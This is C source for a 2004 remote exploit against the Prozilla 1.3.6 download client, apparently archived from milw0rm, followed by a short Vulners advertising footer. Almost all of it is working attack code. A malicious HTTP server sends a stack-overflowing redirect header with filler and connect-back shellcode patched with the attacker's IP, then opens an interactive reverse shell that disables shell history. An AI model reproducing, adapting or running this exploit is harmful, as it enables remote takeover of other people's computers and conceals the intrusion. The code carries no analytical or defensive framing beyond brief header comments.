/* 20/10/2004
** This is a private work of Serkan Akpolat [email protected]
** for the unpublished prozilla-1.3.6 format string/buffer overflow
** vulnerability , though this version only exploits the stack overflow.
** Tested against current gentoo/slack/debian/suse with success. :P
** Client side: proz hostname:port/anyfile.name
** Default listen port is 8080
** Homepage: www.siyahsapka.org || deicide.siyahsapka.org
**/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#define PORT 8080
#define MAX_RESPONSE 2048
#define TRUE 1
char packet_start[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://";
char packet_end[]=\
"\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";
/* Shellcode with no control character.
** Nop's in the shellcode will be patched for attacker defined ip port
** at runtime.
*/
char real_response[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://blahblahblah.com/movie.wmv\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";
unsigned char shellcode[] = {
/* write(1,"\n\n\n\n",4) 0x31 times */
0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
/* write(1,"\n\n\nEnd of file while parsing header",38);*/
0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
/* fork(); */
0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
/* If we are parent exit(?) */
0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0x43, 0xcd, 0x80,
/* setsid() */
0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
/* signal(SIGHUP,SIG_IGN) */
0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
/* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
0x80,
/* i = connect(sock, sockaddr, 16) */
0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
0x4c, 0xb0, 0x66, 0xcd, 0x80,
/* if (i != 0) jmp exit(?) */
0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
/* write(sd,"SSSS",4) */
0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
/* dup2 loop */
0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
0x3f, 0xcd, 0x80,
/* execve("/bin/bash",{"bash",NULL} , NULL) */
0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
0x40, 0xcd, 0x80,
/* exit(?); */
0x31, 0xc0, 0x40, 0xcd, 0x80
};
void usage(char *progname)
{
fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
"-c <ip address> connectback ip address\n"\
"-p <port> connectback port (default = 8080)\n", progname);
exit(1);
}
/* Interactive shell session */
void shell(int sock)
{
/* from sambal.c, hey eSDee ;) */
fd_set fd_read;
char buff[1024], *cmd="unset HISTFILE; echo \"*** Hobareeeey! ***\";uname -a;id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
if (FD_ISSET(sock, &fd_read)) {
if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (write(1, buff, n) < 0) break;
}
if (FD_ISSET(0, &fd_read)) {
if((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (send(sock, buff, n, 0) < 0) break;
}
usleep(10);
}
fprintf(stderr, "Connection lost.\n\n");
exit(0);
}
void put_ip(int i,int j)
{
shellcode[j]=i;
}
void put_xor(int i,int j,int k)
{
shellcode[j+k]=i;
}
int find_xor(int a,int b,int c)
{
int i=49,j=49;
for(i=49;i<255;i++) {
for(j=49;j<255;j++) {
if(a==(i^j)) {
put_ip (i,b);
put_xor (j,b,c);
b++;
return b;
}
}
}
return -1;
}
void check_zombie(int x)
{
waitpid(-1,NULL,WNOHANG);
}
void send_start(int connection)
{
if (send(connection,packet_start,strlen(packet_start),0)==-1) {
perror("send");
}
fprintf(stderr,"[+] Sending Header Start\n");
}
void send_nop(int connection)
{
int i = 0;
int j = 1;
char buffer [1024] ="AA@@";
char counter [128];
memset(counter ,0x00,128 );
memset(buffer+3,0x41,1021);
buffer[1024-1]='\0';
while(i<96) {
if (send(connection,buffer,strlen(buffer),0)==-1) {
perror("send");
}
i++;
if(!(i%4))
j++;
memset (counter,0x2b,j);
memset (counter+j,0x20,26-j);
fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
memset(counter,0x00,sizeof(counter));
}
fprintf(stderr,"\n");
fprintf(stderr,"[+] Sending Shellcode\n");
if (send(connection,shellcode,strlen(shellcode),0)==-1) {
perror("send");
}
}
void send_hostname(int connection)
{
int i = 0;
char fill_buffer[1600];
memset(fill_buffer,0x00,1600);
/* We dont care about alignment, return 0x08080808 */
for(;i<400;i++) {
strcat(fill_buffer , "\x08\x08\x08\x08");
}
fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");
if (send(connection,fill_buffer,1600,0)==-1) {
perror("send");
}
}
void send_end(int connection)
{
fprintf(stderr,"[+] Sending Header End\n");
if (send(connection,packet_end,strlen(packet_end),0)==-1) {
perror("send");
}
}
int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
{
int control;
if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
perror("Socket:");
exit(1);
}
control_addr->sin_port=htons(PORT);
control_addr->sin_addr.s_addr=INADDR_ANY;
control_addr->sin_family=AF_INET;
if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
perror("Bind:");
exit(1);
}
if(listen(control,128)!=0) {
perror("Listen:");
exit(1);
}
*from_len =sizeof(*from_addr);
signal(SIGCHLD,check_zombie);
return control;
}
int main(int argc,char **argv)
{
/* ip patch position */
int i=194;
int opt_p=0,opt_c=0;
int port,porthigh,portlow;
int c,f;
int control;
int connection,from_len;
int ip1,ip2,ip3,ip4;
char http_response [2048];
char client_request[2048];
struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
struct sockaddr_in *from_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
switch (c) {
case 'h':
usage(argv[0]);
case 'c':
opt_c=1;
sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
break;
case 'p':
opt_p=1;
port = atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr, "Invalid port.\n\n");
exit(1);
}
}
}
if(opt_p) {
porthigh = (port & 0xff00) >> 8;
portlow = (port & 0x00ff);
}
else {
port = 8080;
porthigh = (port & 0xff00) >> 8;
portlow = (port & 0x00ff);
}
if(!opt_c) {
usage(argv[0]);
}
memset(http_response,0x0,MAX_RESPONSE);
control = init_socket(control_addr,from_addr,&from_len);
/* patch ip */
i = find_xor(ip1,i,6);
i = find_xor(ip2,i,6);
i = find_xor(ip3,i,6);
i = find_xor(ip4,i,6);
/* patch port */
i = 207;
i = find_xor( porthigh,i,5);
i = find_xor( portlow ,i,5);
while(TRUE) {
if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
exit(1);
}
fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
if (read(connection,client_request,sizeof(client_request))==0) {
exit(1);
}
/* Victim Responded */
if(strstr(client_request,"Prozilla"))
{
fprintf(stderr,"[+] Victim using Prozilla.\n");
f=1;
}
else {
if(strstr(client_request,"SSSS")) {
fprintf(stderr,"Nice , Victim Responded!\n");
shell(connection);
}
else {
fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
if(send(connection,real_response,strlen(shellcode),0)==-1) {
perror("send");
}
}
}
if(f==1) {
/* HTTP */
send_start(connection);
/* nop sled [nop@] */
send_nop(connection);
/* Overwrite Saved Ret , return to heap */
send_hostname(connection);
/* HTTP END */
send_end(connection);
f=0;
}
close(connection);
memset(client_request,0x0,sizeof(client_request));
if (fork()==0) {
free(from_addr);
free(control_addr);
exit(0);
}
else {
close(connection);
}
}
printf("Done");
return 0;
}
// milw0rm.com [2004-11-23]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation